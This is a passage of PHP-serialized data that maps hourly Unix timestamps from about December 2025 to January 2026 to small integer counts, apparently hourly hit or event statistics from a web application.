0;a:1:{i:0;i:4;}i:1764788400;a:1:{i:0;i:3;}i:1764792000;a:1:{i:0;i:14;}i:1764795600;a:1:{i:0;i:5;}i:1764799200;a:1:{i:0;i:6;}i:1764802800;a:1:{i:0;i:5;}i:1764806400;a:1:{i:0;i:4;}i:1764810000;a:1:{i:0;i:3;}i:1764817200;a:1:{i:0;i:4;}i:1764820800;a:1:{i:0;i:5;}i:1764824400;a:1:{i:0;i:3;}i:1764828000;a:1:{i:0;i:1;}i:1764831600;a:1:{i:0;i:4;}i:1764835200;a:1:{i:0;i:7;}i:1764838800;a:1:{i:0;i:7;}i:1764842400;a:1:{i:0;i:5;}i:1764846000;a:1:{i:0;i:6;}i:1764849600;a:1:{i:0;i:8;}i:1764853200;a:1:{i:0;i:5;}i:1764856800;a:1:{i:0;i:3;}i:1764860400;a:1:{i:0;i:7;}i:1764864000;a:1:{i:0;i:7;}i:1764867600;a:1:{i:0;i:1;}i:1764874800;a:1:{i:0;i:8;}i:1764878400;a:1:{i:0;i:15;}i:1764882000;a:1:{i:0;i:4;}i:1764889200;a:1:{i:0;i:3;}i:1764892800;a:1:{i:0;i:2;}i:1764896400;a:1:{i:0;i:4;}i:1764900000;a:1:{i:0;i:2;}i:1764903600;a:1:{i:0;i:3;}i:1764907200;a:1:{i:0;i:3;}i:1764910800;a:1:{i:0;i:4;}i:1764914400;a:1:{i:0;i:6;}i:1764918000;a:1:{i:0;i:6;}i:1764921600;a:1:{i:0;i:1;}i:1764925200;a:1:{i:0;i:8;}i:1764928800;a:1:{i:0;i:5;}i:1764932400;a:1:{i:0;i:2;}i:1764936000;a:1:{i:0;i:3;}i:1764939600;a:1:{i:0;i:1;}i:1764946800;a:1:{i:0;i:1;}i:1764950400;a:1:{i:0;i:12;}i:1764954000;a:1:{i:0;i:5;}i:1764957600;a:1:{i:0;i:4;}i:1764961200;a:1:{i:0;i:13;}i:1764964800;a:1:{i:0;i:1;}i:1764968400;a:1:{i:0;i:3;}i:1764975600;a:1:{i:0;i:2;}i:1764979200;a:1:{i:0;i:2;}i:1764982800;a:1:{i:0;i:3;}i:1764986400;a:1:{i:0;i:1;}i:1764990000;a:1:{i:0;i:2;}i:1764997200;a:1:{i:0;i:2;}i:1765000800;a:1:{i:0;i:2;}i:1765004400;a:1:{i:0;i:3;}i:1765008000;a:1:{i:0;i:2;}i:1765011600;a:1:{i:0;i:2;}i:1765018800;a:1:{i:0;i:1;}i:1765022400;a:1:{i:0;i:2;}i:1765026000;a:1:{i:0;i:2;}i:1765029600;a:1:{i:0;i:2;}i:1765033200;a:1:{i:0;i:1;}i:1765036800;a:1:{i:0;i:7;}i:1765040400;a:1:{i:0;i:4;}i:1765044000;a:1:{i:0;i:2;}i:1765047600;a:1:{i:0;i:3;}i:1765051200;a:1:{i:0;i:4;}i:1765058400;a:1:{i:0;i:1;}i:1765062000;a:1:{i:0;i:1;}i:1765065600;a:1:{i:0;i:5;}i:1765069200;a:1:{i:0;i:2;}i:1765076400;a:1:{i:0;i:4;}i:1765080000;a:1:{i:0;i:3;}i:1765083600;a:1:{i:0;i:4;}i:1765087200;a:1:{i:0;i:1;}i:1765090800;a:1:{i:0;i:11;}i:1765094400;a:1:{i:0;i:4;}i:1765098000;a:1:{i:0;i:3;}i:1765101600;a:1:{i:0;i:2;}i:1765105200;a:1:{i:0;i:3;}i:1765108800;a:1:{i:0;i:1;}i:1765112400;a:1:{i:0;i:7;}i:1765116000;a:1:{i:0;i:12;}i:1765119600;a:1:{i:0;i:7;}i:1765123200;a:1:{i:0;i:4;}i:1765134000;a:1:{i:0;i:2;}i:1765137600;a:1:{i:0;i:1;}i:1765141200;a:1:{i:0;i:1;}i:1765144800;a:1:{i:0;i:2;}i:1765148400;a:1:{i:0;i:1;}i:1765152000;a:1:{i:0;i:4;}i:1765155600;a:1:{i:0;i:4;}i:1765162800;a:1:{i:0;i:2;}i:1765166400;a:1:{i:0;i:1;}i:1765170000;a:1:{i:0;i:2;}i:1765173600;a:1:{i:0;i:5;}i:1765177200;a:1:{i:0;i:1;}i:1765180800;a:1:{i:0;i:2;}i:1765184400;a:1:{i:0;i:4;}i:1765188000;a:1:{i:0;i:5;}i:1765195200;a:1:{i:0;i:1;}i:1765198800;a:1:{i:0;i:3;}i:1765202400;a:1:{i:0;i:3;}i:1765206000;a:1:{i:0;i:4;}i:1765209600;a:1:{i:0;i:4;}i:1765213200;a:1:{i:0;i:2;}i:1765216800;a:1:{i:0;i:2;}i:1765220400;a:1:{i:0;i:3;}i:1765224000;a:1:{i:0;i:3;}i:1765227600;a:1:{i:0;i:6;}i:1765231200;a:1:{i:0;i:1;}i:1765234800;a:1:{i:0;i:6;}i:1765238400;a:1:{i:0;i:4;}i:1765242000;a:1:{i:0;i:1;}i:1765245600;a:1:{i:0;i:1;}i:1765252800;a:1:{i:0;i:6;}i:1765256400;a:1:{i:0;i:15;}i:1765260000;a:1:{i:0;i:1;}i:1765263600;a:1:{i:0;i:2;}i:1765267200;a:1:{i:0;i:2;}i:1765270800;a:1:{i:0;i:1;}i:1765274400;a:1:{i:0;i:4;}i:1765278000;a:1:{i:0;i:3;}i:1765281600;a:1:{i:0;i:6;}i:1765285200;a:1:{i:0;i:7;}i:1765288800;a:1:{i:0;i:1;}i:1765292400;a:1:{i:0;i:3;}i:1765296000;a:1:{i:0;i:4;}i:1765299600;a:1:{i:0;i:2;}i:1765303200;a:1:{i:0;i:1;}i:1765306800;a:1:{i:0;i:3;}i:1765310400;a:1:{i:0;i:10;}i:1765314000;a:1:{i:0;i:12;}i:1765317600;a:1:{i:0;i:11;}i:1765321200;a:1:{i:0;i:11;}i:1765324800;a:1:{i:0;i:8;}i:1765328400;a:1:{i:0;i:13;}i:1765332000;a:1:{i:0;i:10;}i:1765335600;a:1:{i:0;i:11;}i:1765339200;a:1:{i:0;i:2;}i:1765342800;a:1:{i:0;i:2;}i:1765346400;a:1:{i:0;i:3;}i:1765350000;a:1:{i:0;i:11;}i:1765353600;a:1:{i:0;i:4;}i:1765357200;a:1:{i:0;i:2;}i:1765360800;a:1:{i:0;i:3;}i:1765364400;a:1:{i:0;i:11;}i:1765368000;a:1:{i:0;i:14;}i:1765371600;a:1:{i:0;i:7;}i:1765375200;a:1:{i:0;i:5;}i:1765378800;a:1:{i:0;i:5;}i:1765382400;a:1:{i:0;i:6;}i:1765386000;a:1:{i:0;i:7;}i:1765389600;a:1:{i:0;i:6;}i:1765393200;a:1:{i:0;i:5;}i:1765396800;a:1:{i:0;i:30;}i:1765400400;a:1:{i:0;i:7;}i:1765404000;a:1:{i:0;i:5;}i:1765407600;a:1:{i:0;i:2;}i:1765411200;a:1:{i:0;i:6;}i:1765414800;a:1:{i:0;i:3;}i:1765418400;a:1:{i:0;i:4;}i:1765422000;a:1:{i:0;i:3;}i:1765425600;a:1:{i:0;i:3;}i:1765429200;a:1:{i:0;i:2;}i:1765432800;a:1:{i:0;i:5;}i:1765436400;a:1:{i:0;i:5;}i:1765440000;a:1:{i:0;i:3;}i:1765443600;a:1:{i:0;i:3;}i:1765447200;a:1:{i:0;i:7;}i:1765450800;a:1:{i:0;i:3;}i:1765454400;a:1:{i:0;i:1;}i:1765458000;a:1:{i:0;i:7;}i:1765461600;a:1:{i:0;i:12;}i:1765465200;a:1:{i:0;i:3;}i:1765468800;a:1:{i:0;i:3;}i:1765472400;a:1:{i:0;i:2;}i:1765476000;a:1:{i:0;i:15;}i:1765479600;a:1:{i:0;i:3;}i:1765483200;a:1:{i:0;i:2;}i:1765486800;a:1:{i:0;i:1;}i:1765490400;a:1:{i:0;i:1;}i:1765494000;a:1:{i:0;i:3;}i:1765497600;a:1:{i:0;i:3;}i:1765501200;a:1:{i:0;i:5;}i:1765504800;a:1:{i:0;i:2;}i:1765508400;a:1:{i:0;i:3;}i:1765512000;a:1:{i:0;i:3;}i:1765515600;a:1:{i:0;i:3;}i:1765519200;a:1:{i:0;i:3;}i:1765522800;a:1:{i:0;i:4;}i:1765526400;a:1:{i:0;i:1;}i:1765530000;a:1:{i:0;i:1;}i:1765533600;a:1:{i:0;i:6;}i:1765537200;a:1:{i:0;i:2;}i:1765540800;a:1:{i:0;i:1;}i:1765544400;a:1:{i:0;i:9;}i:1765548000;a:1:{i:0;i:9;}i:1765551600;a:1:{i:0;i:3;}i:1765555200;a:1:{i:0;i:6;}i:1765558800;a:1:{i:0;i:2;}i:1765562400;a:1:{i:0;i:4;}i:1765566000;a:1:{i:0;i:5;}i:1765569600;a:1:{i:0;i:4;}i:1765573200;a:1:{i:0;i:8;}i:1765576800;a:1:{i:0;i:4;}i:1765580400;a:1:{i:0;i:7;}i:1765584000;a:1:{i:0;i:1;}i:1765587600;a:1:{i:0;i:8;}i:1765591200;a:1:{i:0;i:4;}i:1765594800;a:1:{i:0;i:7;}i:1765598400;a:1:{i:0;i:4;}i:1765602000;a:1:{i:0;i:4;}i:1765605600;a:1:{i:0;i:6;}i:1765609200;a:1:{i:0;i:7;}i:1765612800;a:1:{i:0;i:12;}i:1765616400;a:1:{i:0;i:3;}i:1765620000;a:1:{i:0;i:11;}i:1765623600;a:1:{i:0;i:8;}i:1765627200;a:1:{i:0;i:7;}i:1765630800;a:1:{i:0;i:4;}i:1765634400;a:1:{i:0;i:4;}i:1765638000;a:1:{i:0;i:2;}i:1765641600;a:1:{i:0;i:5;}i:1765645200;a:1:{i:0;i:3;}i:1765648800;a:1:{i:0;i:4;}i:1765652400;a:1:{i:0;i:9;}i:1765656000;a:1:{i:0;i:4;}i:1765659600;a:1:{i:0;i:6;}i:1765663200;a:1:{i:0;i:3;}i:1765666800;a:1:{i:0;i:5;}i:1765670400;a:1:{i:0;i:7;}i:1765674000;a:1:{i:0;i:4;}i:1765677600;a:1:{i:0;i:3;}i:1765681200;a:1:{i:0;i:3;}i:1765684800;a:1:{i:0;i:2;}i:1765688400;a:1:{i:0;i:6;}i:1765692000;a:1:{i:0;i:8;}i:1765695600;a:1:{i:0;i:4;}i:1765699200;a:1:{i:0;i:1;}i:1765702800;a:1:{i:0;i:6;}i:1765706400;a:1:{i:0;i:5;}i:1765710000;a:1:{i:0;i:6;}i:1765713600;a:1:{i:0;i:10;}i:1765717200;a:1:{i:0;i:4;}i:1765720800;a:1:{i:0;i:8;}i:1765724400;a:1:{i:0;i:5;}i:1765728000;a:1:{i:0;i:8;}i:1765731600;a:1:{i:0;i:5;}i:1765735200;a:1:{i:0;i:3;}i:1765738800;a:1:{i:0;i:5;}i:1765742400;a:1:{i:0;i:4;}i:1765746000;a:1:{i:0;i:4;}i:1765749600;a:1:{i:0;i:5;}i:1765753200;a:1:{i:0;i:4;}i:1765756800;a:1:{i:0;i:8;}i:1765760400;a:1:{i:0;i:3;}i:1765764000;a:1:{i:0;i:7;}i:1765767600;a:1:{i:0;i:4;}i:1765771200;a:1:{i:0;i:3;}i:1765774800;a:1:{i:0;i:7;}i:1765778400;a:1:{i:0;i:2;}i:1765782000;a:1:{i:0;i:4;}i:1765785600;a:1:{i:0;i:14;}i:1765789200;a:1:{i:0;i:1;}i:1765792800;a:1:{i:0;i:12;}i:1765796400;a:1:{i:0;i:6;}i:1765800000;a:1:{i:0;i:5;}i:1765803600;a:1:{i:0;i:4;}i:1765807200;a:1:{i:0;i:6;}i:1765810800;a:1:{i:0;i:6;}i:1765814400;a:1:{i:0;i:6;}i:1765818000;a:1:{i:0;i:1;}i:1765821600;a:1:{i:0;i:2;}i:1765825200;a:1:{i:0;i:1;}i:1765828800;a:1:{i:0;i:3;}i:1765832400;a:1:{i:0;i:2;}i:1765836000;a:1:{i:0;i:2;}i:1765839600;a:1:{i:0;i:4;}i:1765843200;a:1:{i:0;i:2;}i:1765846800;a:1:{i:0;i:3;}i:1765850400;a:1:{i:0;i:2;}i:1765854000;a:1:{i:0;i:3;}i:1765857600;a:1:{i:0;i:5;}i:1765861200;a:1:{i:0;i:6;}i:1765864800;a:1:{i:0;i:4;}i:1765868400;a:1:{i:0;i:7;}i:1765872000;a:1:{i:0;i:7;}i:1765875600;a:1:{i:0;i:2;}i:1765882800;a:1:{i:0;i:9;}i:1765886400;a:1:{i:0;i:4;}i:1765890000;a:1:{i:0;i:3;}i:1765893600;a:1:{i:0;i:1;}i:1765897200;a:1:{i:0;i:2;}i:1765900800;a:1:{i:0;i:1;}i:1765904400;a:1:{i:0;i:1;}i:1765908000;a:1:{i:0;i:3;}i:1765911600;a:1:{i:0;i:1;}i:1765915200;a:1:{i:0;i:1;}i:1765918800;a:1:{i:0;i:1;}i:1765926000;a:1:{i:0;i:4;}i:1765933200;a:1:{i:0;i:2;}i:1765936800;a:1:{i:0;i:2;}i:1765940400;a:1:{i:0;i:1;}i:1765951200;a:1:{i:0;i:1;}i:1765954800;a:1:{i:0;i:1;}i:1765958400;a:1:{i:0;i:2;}i:1765962000;a:1:{i:0;i:3;}i:1765965600;a:1:{i:0;i:1;}i:1765969200;a:1:{i:0;i:1;}i:1765976400;a:1:{i:0;i:1;}i:1765980000;a:1:{i:0;i:2;}i:1765987200;a:1:{i:0;i:1;}i:1765990800;a:1:{i:0;i:1;}i:1765994400;a:1:{i:0;i:2;}i:1765998000;a:1:{i:0;i:1;}i:1766001600;a:1:{i:0;i:3;}i:1766005200;a:1:{i:0;i:6;}i:1766016000;a:1:{i:0;i:2;}i:1766019600;a:1:{i:0;i:2;}i:1766023200;a:1:{i:0;i:2;}i:1766026800;a:1:{i:0;i:1;}i:1766030400;a:1:{i:0;i:3;}i:1766034000;a:1:{i:0;i:1;}i:1766041200;a:1:{i:0;i:1;}i:1766048400;a:1:{i:0;i:1;}i:1766052000;a:1:{i:0;i:1;}i:1766055600;a:1:{i:0;i:10;}i:1766059200;a:1:{i:0;i:8;}i:1766062800;a:1:{i:0;i:8;}i:1766066400;a:1:{i:0;i:9;}i:1766070000;a:1:{i:0;i:10;}i:1766073600;a:1:{i:0;i:9;}i:1766077200;a:1:{i:0;i:9;}i:1766080800;a:1:{i:0;i:12;}i:1766084400;a:1:{i:0;i:11;}i:1766088000;a:1:{i:0;i:13;}i:1766091600;a:1:{i:0;i:10;}i:1766095200;a:1:{i:0;i:6;}i:1766098800;a:1:{i:0;i:10;}i:1766102400;a:1:{i:0;i:10;}i:1766106000;a:1:{i:0;i:7;}i:1766109600;a:1:{i:0;i:11;}i:1766113200;a:1:{i:0;i:8;}i:1766116800;a:1:{i:0;i:5;}i:1766120400;a:1:{i:0;i:4;}i:1766124000;a:1:{i:0;i:4;}i:1766127600;a:1:{i:0;i:3;}i:1766131200;a:1:{i:0;i:4;}i:1766134800;a:1:{i:0;i:1;}i:1766138400;a:1:{i:0;i:3;}i:1766142000;a:1:{i:0;i:47;}i:1766145600;a:1:{i:0;i:152;}i:1766149200;a:1:{i:0;i:137;}i:1766152800;a:1:{i:0;i:73;}i:1766156400;a:1:{i:0;i:21;}i:1766160000;a:1:{i:0;i:6;}i:1766163600;a:1:{i:0;i:3;}i:1766167200;a:1:{i:0;i:3;}i:1766170800;a:1:{i:0;i:5;}i:1766174400;a:1:{i:0;i:4;}i:1766178000;a:1:{i:0;i:3;}i:1766181600;a:1:{i:0;i:4;}i:1766185200;a:1:{i:0;i:4;}i:1766188800;a:1:{i:0;i:5;}i:1766192400;a:1:{i:0;i:3;}i:1766196000;a:1:{i:0;i:1;}i:1766199600;a:1:{i:0;i:9;}i:1766203200;a:1:{i:0;i:6;}i:1766206800;a:1:{i:0;i:3;}i:1766210400;a:1:{i:0;i:2;}i:1766214000;a:1:{i:0;i:8;}i:1766217600;a:1:{i:0;i:8;}i:1766221200;a:1:{i:0;i:1;}i:1766224800;a:1:{i:0;i:3;}i:1766228400;a:1:{i:0;i:3;}i:1766232000;a:1:{i:0;i:2;}i:1766235600;a:1:{i:0;i:4;}i:1766239200;a:1:{i:0;i:5;}i:1766242800;a:1:{i:0;i:3;}i:1766246400;a:1:{i:0;i:5;}i:1766250000;a:1:{i:0;i:4;}i:1766253600;a:1:{i:0;i:3;}i:1766257200;a:1:{i:0;i:6;}i:1766260800;a:1:{i:0;i:4;}i:1766264400;a:1:{i:0;i:3;}i:1766268000;a:1:{i:0;i:7;}i:1766271600;a:1:{i:0;i:7;}i:1766275200;a:1:{i:0;i:3;}i:1766278800;a:1:{i:0;i:4;}i:1766282400;a:1:{i:0;i:6;}i:1766286000;a:1:{i:0;i:5;}i:1766289600;a:1:{i:0;i:4;}i:1766293200;a:1:{i:0;i:4;}i:1766296800;a:1:{i:0;i:2;}i:1766300400;a:1:{i:0;i:6;}i:1766304000;a:1:{i:0;i:4;}i:1766307600;a:1:{i:0;i:4;}i:1766311200;a:1:{i:0;i:2;}i:1766318400;a:1:{i:0;i:11;}i:1766325600;a:1:{i:0;i:3;}i:1766329200;a:1:{i:0;i:11;}i:1766332800;a:1:{i:0;i:1;}i:1766336400;a:1:{i:0;i:2;}i:1766340000;a:1:{i:0;i:2;}i:1766350800;a:1:{i:0;i:1;}i:1766354400;a:1:{i:0;i:1;}i:1766358000;a:1:{i:0;i:1;}i:1766361600;a:1:{i:0;i:1;}i:1766365200;a:1:{i:0;i:2;}i:1766368800;a:1:{i:0;i:1;}i:1766372400;a:1:{i:0;i:3;}i:1766383200;a:1:{i:0;i:2;}i:1766390400;a:1:{i:0;i:1;}i:1766397600;a:1:{i:0;i:1;}i:1766401200;a:1:{i:0;i:1;}i:1766415600;a:1:{i:0;i:6;}i:1766419200;a:1:{i:0;i:1;}i:1766422800;a:1:{i:0;i:1;}i:1766426400;a:1:{i:0;i:3;}i:1766430000;a:1:{i:0;i:2;}i:1766433600;a:1:{i:0;i:5;}i:1766444400;a:1:{i:0;i:1;}i:1766451600;a:1:{i:0;i:3;}i:1766462400;a:1:{i:0;i:2;}i:1766480400;a:1:{i:0;i:2;}i:1766484000;a:1:{i:0;i:1;}i:1766491200;a:1:{i:0;i:1;}i:1766494800;a:1:{i:0;i:2;}i:1766498400;a:1:{i:0;i:1;}i:1766502000;a:1:{i:0;i:3;}i:1766509200;a:1:{i:0;i:1;}i:1766512800;a:1:{i:0;i:2;}i:1766516400;a:1:{i:0;i:2;}i:1766520000;a:1:{i:0;i:1;}i:1766530800;a:1:{i:0;i:1;}i:1766534400;a:1:{i:0;i:1;}i:1766541600;a:1:{i:0;i:1;}i:1766545200;a:1:{i:0;i:1;}i:1766548800;a:1:{i:0;i:5;}i:1766556000;a:1:{i:0;i:1;}i:1766559600;a:1:{i:0;i:2;}i:1766563200;a:1:{i:0;i:3;}i:1766566800;a:1:{i:0;i:2;}i:1766570400;a:1:{i:0;i:11;}i:1766574000;a:1:{i:0;i:3;}i:1766577600;a:1:{i:0;i:2;}i:1766581200;a:1:{i:0;i:11;}i:1766584800;a:1:{i:0;i:14;}i:1766588400;a:1:{i:0;i:7;}i:1766592000;a:1:{i:0;i:1;}i:1766595600;a:1:{i:0;i:1;}i:1766602800;a:1:{i:0;i:2;}i:1766606400;a:1:{i:0;i:2;}i:1766610000;a:1:{i:0;i:1;}i:1766613600;a:1:{i:0;i:2;}i:1766620800;a:1:{i:0;i:1;}i:1766628000;a:1:{i:0;i:1;}i:1766631600;a:1:{i:0;i:3;}i:1766635200;a:1:{i:0;i:1;}i:1766638800;a:1:{i:0;i:3;}i:1766646000;a:1:{i:0;i:1;}i:1766653200;a:1:{i:0;i:6;}i:1766656800;a:1:{i:0;i:1;}i:1766660400;a:1:{i:0;i:12;}i:1766664000;a:1:{i:0;i:1;}i:1766667600;a:1:{i:0;i:4;}i:1766671200;a:1:{i:0;i:9;}i:1766674800;a:1:{i:0;i:7;}i:1766678400;a:1:{i:0;i:1;}i:1766682000;a:1:{i:0;i:4;}i:1766685600;a:1:{i:0;i:1;}i:1766692800;a:1:{i:0;i:1;}i:1766700000;a:1:{i:0;i:2;}i:1766710800;a:1:{i:0;i:1;}i:1766714400;a:1:{i:0;i:2;}i:1766718000;a:1:{i:0;i:4;}i:1766721600;a:1:{i:0;i:2;}i:1766725200;a:1:{i:0;i:6;}i:1766728800;a:1:{i:0;i:2;}i:1766732400;a:1:{i:0;i:1;}i:1766739600;a:1:{i:0;i:2;}i:1766743200;a:1:{i:0;i:2;}i:1766746800;a:1:{i:0;i:6;}i:1766750400;a:1:{i:0;i:5;}i:1766754000;a:1:{i:0;i:8;}i:1766757600;a:1:{i:0;i:6;}i:1766761200;a:1:{i:0;i:9;}i:1766764800;a:1:{i:0;i:7;}i:1766768400;a:1:{i:0;i:4;}i:1766772000;a:1:{i:0;i:8;}i:1766775600;a:1:{i:0;i:16;}i:1766779200;a:1:{i:0;i:12;}i:1766782800;a:1:{i:0;i:7;}i:1766786400;a:1:{i:0;i:5;}i:1766790000;a:1:{i:0;i:11;}i:1766793600;a:1:{i:0;i:7;}i:1766797200;a:1:{i:0;i:7;}i:1766800800;a:1:{i:0;i:7;}i:1766804400;a:1:{i:0;i:11;}i:1766808000;a:1:{i:0;i:8;}i:1766811600;a:1:{i:0;i:7;}i:1766815200;a:1:{i:0;i:5;}i:1766818800;a:1:{i:0;i:3;}i:1766822400;a:1:{i:0;i:2;}i:1766826000;a:1:{i:0;i:2;}i:1766829600;a:1:{i:0;i:1;}i:1766833200;a:1:{i:0;i:8;}i:1766836800;a:1:{i:0;i:5;}i:1766840400;a:1:{i:0;i:8;}i:1766844000;a:1:{i:0;i:5;}i:1766847600;a:1:{i:0;i:7;}i:1766851200;a:1:{i:0;i:6;}i:1766854800;a:1:{i:0;i:7;}i:1766858400;a:1:{i:0;i:7;}i:1766862000;a:1:{i:0;i:7;}i:1766865600;a:1:{i:0;i:6;}i:1766869200;a:1:{i:0;i:10;}i:1766872800;a:1:{i:0;i:6;}i:1766876400;a:1:{i:0;i:7;}i:1766880000;a:1:{i:0;i:10;}i:1766883600;a:1:{i:0;i:7;}i:1766887200;a:1:{i:0;i:6;}i:1766890800;a:1:{i:0;i:4;}i:1766894400;a:1:{i:0;i:5;}i:1766898000;a:1:{i:0;i:10;}i:1766901600;a:1:{i:0;i:6;}i:1766905200;a:1:{i:0;i:8;}i:1766908800;a:1:{i:0;i:8;}i:1766912400;a:1:{i:0;i:6;}i:1766916000;a:1:{i:0;i:6;}i:1766919600;a:1:{i:0;i:12;}i:1766923200;a:1:{i:0;i:9;}i:1766926800;a:1:{i:0;i:7;}i:1766930400;a:1:{i:0;i:28;}i:1766934000;a:1:{i:0;i:8;}i:1766937600;a:1:{i:0;i:6;}i:1766941200;a:1:{i:0;i:12;}i:1766944800;a:1:{i:0;i:7;}i:1766948400;a:1:{i:0;i:7;}i:1766952000;a:1:{i:0;i:7;}i:1766955600;a:1:{i:0;i:4;}i:1766959200;a:1:{i:0;i:15;}i:1766962800;a:1:{i:0;i:32;}i:1766966400;a:1:{i:0;i:9;}i:1766970000;a:1:{i:0;i:7;}i:1766973600;a:1:{i:0;i:6;}i:1766977200;a:1:{i:0;i:11;}i:1766980800;a:1:{i:0;i:6;}i:1766984400;a:1:{i:0;i:8;}i:1766988000;a:1:{i:0;i:7;}i:1766991600;a:1:{i:0;i:7;}i:1766995200;a:1:{i:0;i:9;}i:1766998800;a:1:{i:0;i:6;}i:1767002400;a:1:{i:0;i:6;}i:1767006000;a:1:{i:0;i:34;}i:1767009600;a:1:{i:0;i:7;}i:1767013200;a:1:{i:0;i:6;}i:1767016800;a:1:{i:0;i:6;}i:1767020400;a:1:{i:0;i:5;}i:1767024000;a:1:{i:0;i:12;}i:1767027600;a:1:{i:0;i:7;}i:1767031200;a:1:{i:0;i:5;}i:1767034800;a:1:{i:0;i:8;}i:1767038400;a:1:{i:0;i:5;}i:1767042000;a:1:{i:0;i:5;}i:1767045600;a:1:{i:0;i:4;}i:1767049200;a:1:{i:0;i:6;}i:1767052800;a:1:{i:0;i:6;}i:1767056400;a:1:{i:0;i:4;}i:1767060000;a:1:{i:0;i:8;}i:1767063600;a:1:{i:0;i:6;}i:1767067200;a:1:{i:0;i:7;}i:1767070800;a:1:{i:0;i:8;}i:1767074400;a:1:{i:0;i:10;}i:1767078000;a:1:{i:0;i:7;}i:1767081600;a:1:{i:0;i:3;}i:1767085200;a:1:{i:0;i:3;}i:1767088800;a:1:{i:0;i:1;}i:1767092400;a:1:{i:0;i:1;}i:1767096000;a:1:{i:0;i:1;}i:1767099600;a:1:{i:0;i:3;}i:1767103200;a:1:{i:0;i:1;}i:1767106800;a:1:{i:0;i:2;}i:1767110400;a:1:{i:0;i:9;}i:1767114000;a:1:{i:0;i:4;}i:1767117600;a:1:{i:0;i:5;}i:1767121200;a:1:{i:0;i:6;}i:1767124800;a:1:{i:0;i:10;}i:1767128400;a:1:{i:0;i:3;}i:1767132000;a:1:{i:0;i:4;}i:1767135600;a:1:{i:0;i:7;}i:1767139200;a:1:{i:0;i:8;}i:1767142800;a:1:{i:0;i:7;}i:1767146400;a:1:{i:0;i:13;}i:1767150000;a:1:{i:0;i:6;}i:1767153600;a:1:{i:0;i:4;}i:1767157200;a:1:{i:0;i:6;}i:1767160800;a:1:{i:0;i:6;}i:1767164400;a:1:{i:0;i:4;}i:1767168000;a:1:{i:0;i:7;}i:1767171600;a:1:{i:0;i:7;}i:1767175200;a:1:{i:0;i:4;}i:1767178800;a:1:{i:0;i:6;}i:1767182400;a:1:{i:0;i:10;}i:1767186000;a:1:{i:0;i:7;}i:1767189600;a:1:{i:0;i:6;}i:1767193200;a:1:{i:0;i:6;}i:1767196800;a:1:{i:0;i:8;}i:1767200400;a:1:{i:0;i:6;}i:1767204000;a:1:{i:0;i:8;}i:1767207600;a:1:{i:0;i:8;}i:1767211200;a:1:{i:0;i:6;}i:1767214800;a:1:{i:0;i:5;}i:1767218400;a:1:{i:0;i:4;}i:1767222000;a:1:{i:0;i:5;}i:1767225600;a:1:{i:0;i:11;}i:1767229200;a:1:{i:0;i:2;}i:1767232800;a:1:{i:0;i:6;}i:1767236400;a:1:{i:0;i:5;}i:1767240000;a:1:{i:0;i:5;}i:1767243600;a:1:{i:0;i:9;}i:1767247200;a:1:{i:0;i:10;}i:1767250800;a:1:{i:0;i:9;}i:1767254400;a:1:{i:0;i:6;}i:1767258000;a:1:{i:0;i:4;}i:1767261600;a:1:{i:0;i:7;}i:1767265200;a:1:{i:0;i:6;}i:1767268800;a:1:{i:0;i:6;}i:1767272400;a:1:{i:0;i:3;}i:1767276000;a:1:{i:0;i:5;}i:1767279600;a:1:{i:0;i:4;}i:1767283200;a:1:{i:0;i:6;}i:1767286800;a:1:{i:0;i:4;}i:1767290400;a:1:{i:0;i:4;}i:1767294000;a:1:{i:0;i:4;}i:1767297600;a:1:{i:0;i:4;}i:1767301200;a:1:{i:0;i:4;}i:1767304800;a:1:{i:0;i:2;}i:1767308400;a:1:{i:0;i:2;}i:1767312000;a:1:{i:0;i:2;}i:1767315600;a:1:{i:0;i:6;}i:1767319200;a:1:{i:0;i:3;}i:1767322800;a:1:{i:0;i:5;}i:1767326400;a:1:{i:0;i:8;}i:1767330000;a:1:{i:0;i:3;}i:1767333600;a:1:{i:0;i:7;}i:1767337200;a:1:{i:0;i:5;}i:1767340800;a:1:{i:0;i:5;}i:1767344400;a:1:{i:0;i:6;}i:1767348000;a:1:{i:0;i:6;}i:1767351600;a:1:{i:0;i:7;}i:1767355200;a:1:{i:0;i:6;}i:1767358800;a:1:{i:0;i:5;}i:1767362400;a:1:{i:0;i:6;}i:1767366000;a:1:{i:0;i:6;}i:1767369600;a:1:{i:0;i:4;}i:1767373200;a:1:{i:0;i:12;}i:1767376800;a:1:{i:0;i:6;}i:1767380400;a:1:{i:0;i:7;}i:1767384000;a:1:{i:0;i:9;}i:1767387600;a:1:{i:0;i:5;}i:1767391200;a:1:{i:0;i:6;}i:1767394800;a:1:{i:0;i:7;}i:1767398400;a:1:{i:0;i:7;}i:1767402000;a:1:{i:0;i:7;}i:1767405600;a:1:{i:0;i:5;}i:1767409200;a:1:{i:0;i:2;}i:1767412800;a:1:{i:0;i:4;}i:1767416400;a:1:{i:0;i:6;}i:1767420000;a:1:{i:0;i:4;}i:1767423600;a:1:{i:0;i:6;}i:1767427200;a:1:{i:0;i:4;}i:1767430800;a:1:{i:0;i:4;}i:1767434400;a:1:{i:0;i:2;}i:1767438000;a:1:{i:0;i:3;}i:1767441600;a:1:{i:0;i:5;}i:1767445200;a:1:{i:0;i:4;}i:1767448800;a:1:{i:0;i:7;}i:1767452400;a:1:{i:0;i:7;}i:1767456000;a:1:{i:0;i:4;}i:1767459600;a:1:{i:0;i:5;}i:1767463200;a:1:{i:0;i:5;}i:1767466800;a:1:{i:0;i:4;}i:1767470400;a:1:{i:0;i:5;}i:1767474000;a:1:{i:0;i:4;}i:1767477600;a:1:{i:0;i:4;}i:1767481200;a:1:{i:0;i:3;}i:1767484800;a:1:{i:0;i:3;}i:1767488400;a:1:{i:0;i:8;}i:1767492000;a:1:{i:0;i:3;}i:1767495600;a:1:{i:0;i:7;}i:1767499200;a:1:{i:0;i:4;}i:1767502800;a:1:{i:0;i:15;}i:1767506400;a:1:{i:0;i:16;}i:1767510000;a:1:{i:0;i:15;}i:1767513600;a:1:{i:0;i:4;}i:1767517200;a:1:{i:0;i:7;}i:1767520800;a:1:{i:0;i:2;}i:1767524400;a:1:{i:0;i:5;}i:1767528000;a:1:{i:0;i:2;}i:1767531600;a:1:{i:0;i:2;}i:1767535200;a:1:{i:0;i:1;}i:1767546000;a:1:{i:0;i:6;}i:1767571200;a:1:{i:0;i:6;}i:1767585600;a:1:{i:0;i:1;}i:1767589200;a:1:{i:0;i:12;}i:1767592800;a:1:{i:0;i:7;}i:1767596400;a:1:{i:0;i:1;}i:1767600000;a:1:{i:0;i:1;}i:1767603600;a:1:{i:0;i:11;}i:1767607200;a:1:{i:0;i:6;}i:1767610800;a:1:{i:0;i:2;}i:1767621600;a:1: